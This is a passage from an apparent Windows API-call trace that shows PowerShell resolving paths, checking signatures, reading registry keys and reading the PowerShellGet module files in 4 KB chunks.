pguid=0x5a2e474 | out: pguid=0x5a2e474*(Data1=0x1a927a91, Data2=0x2470, Data3=0x4339, Data4=([0]=0xaa, [1]=0x49, [2]=0x80, [3]=0x4d, [4]=0x1a, [5]=0x66, [6]=0x2e, [7]=0x63))) returned 0x0 [0171.234] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e1d4 | out: lpPerformanceCount=0x5a2e1d4*=1260225698597) returned 1 [0171.234] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.234] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dec0) returned 1 [0171.234] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e184 | out: lpFileInformation=0x5a2e184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0171.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2debc) returned 1 [0171.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0171.235] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e118 | out: lpFileInformation=0x5a2e118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0171.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2de50) returned 1 [0171.235] CoTaskMemAlloc (cb=0x10) returned 0x460d88 [0171.235] CoTaskMemAlloc (cb=0x10) returned 0x460dd0 [0171.235] CoTaskMemAlloc (cb=0xb4) returned 0x422ca8 [0171.235] CoTaskMemAlloc (cb=0x30) returned 0x4339b8 [0171.236] WinVerifyTrust () returned 0x800b0100 [0171.393] CoTaskMemFree (pv=0x460d88) [0171.394] CoTaskMemFree (pv=0x4339b8) [0171.394] CryptCATHandleFromStore () returned 0x3ba4e8 [0171.394] WTHelperGetProvSignerFromChain () returned 0x0 [0171.394] CoTaskMemAlloc (cb=0x10) returned 0x460d88 [0171.395] CoTaskMemAlloc (cb=0x30) returned 0x4339b8 [0171.395] WinVerifyTrust () returned 0x0 [0171.395] CoTaskMemFree (pv=0x4339b8) [0171.395] CoTaskMemFree (pv=0x460d88) [0171.395] CoTaskMemFree (pv=0x422ca8) [0171.395] CoTaskMemFree (pv=0x460dd0) [0171.704] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\powershellget.psd1")) returned 0xffffffff [0171.705] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en\\powershellget.psd1")) returned 0xffffffff [0171.834] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0171.841] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0171.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.845] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0171.845] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x47, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x46 [0172.074] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2db10 | out: phkResult=0x5a2db10*=0x414) returned 0x0 [0172.075] RegQueryValueExW (in: hKey=0x414, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2db30, lpData=0x0, lpcbData=0x5a2db2c*=0x0 | out: lpType=0x5a2db30*=0x1, lpData=0x0, lpcbData=0x5a2db2c*=0x56) returned 0x0 [0172.075] RegQueryValueExW (in: hKey=0x414, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2db30, lpData=0x2636688, lpcbData=0x5a2db2c*=0x56 | out: lpType=0x5a2db30*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2db2c*=0x56) returned 0x0 [0172.075] RegCloseKey (hKey=0x414) returned 0x0 [0172.078] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.149] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.151] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.151] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2db10 | out: phkResult=0x5a2db10*=0x414) returned 0x0 [0172.151] RegQueryValueExW (in: hKey=0x414, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2db30, lpData=0x0, lpcbData=0x5a2db2c*=0x0 | out: lpType=0x5a2db30*=0x1, lpData=0x0, lpcbData=0x5a2db2c*=0x56) returned 0x0 [0172.152] RegQueryValueExW (in: hKey=0x414, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2db30, lpData=0x2643e5c, lpcbData=0x5a2db2c*=0x56 | out: lpType=0x5a2db30*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2db2c*=0x56) returned 0x0 [0172.152] RegCloseKey (hKey=0x414) returned 0x0 [0172.159] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.165] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.174] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.181] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.188] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0172.299] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0172.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0172.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x5b, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5a [0172.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d910) returned 1 [0172.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a2dbd4 | out: lpFileInformation=0x5a2dbd4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0172.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d90c) returned 1 [0172.308] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.523] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0172.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0172.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d438) returned 1 [0172.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2672fc4 | out: lpFileInformation=0x2672fc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0172.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d434) returned 1 [0172.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0172.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0172.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d5dc) returned 1 [0172.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc [0172.526] GetFileType (hFile=0x3dc) returned 0x1 [0172.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d5d8) returned 1 [0172.526] GetFileType (hFile=0x3dc) returned 0x1 [0172.526] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x0 [0172.526] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.528] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x1000 [0172.528] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.529] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x2000 [0172.529] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.529] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x3000 [0172.530] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.530] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x4000 [0172.531] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.531] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x5000 [0172.531] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.533] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x6000 [0172.533] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.533] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x7000 [0172.533] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.534] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x8000 [0172.534] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.534] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x9000 [0172.534] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.535] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0xa000 [0172.535] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.536] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0xb000 [0172.536] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.629] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0xc000 [0172.629] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.630] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0xd000 [0172.630] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.631] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0xe000 [0172.632] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.632] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0xf000 [0172.632] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.632] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x10000 [0172.633] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.633] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x11000 [0172.633] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.633] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x12000 [0172.634] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.634] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x13000 [0172.634] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.635] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x14000 [0172.635] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.635] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x15000 [0172.635] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.637] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x16000 [0172.637] ReadFile (in: hFile=0x3dc, lpBuffer=0x2673dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d644, lpOverlapped=0x0 | out: lpBuffer=0x2673dc8*, lpNumberOfBytesRead=0x5a2d644*=0x1000, lpOverlapped=0x0) returned 1 [0172.637] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d618*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d618*=0) returned 0x17000 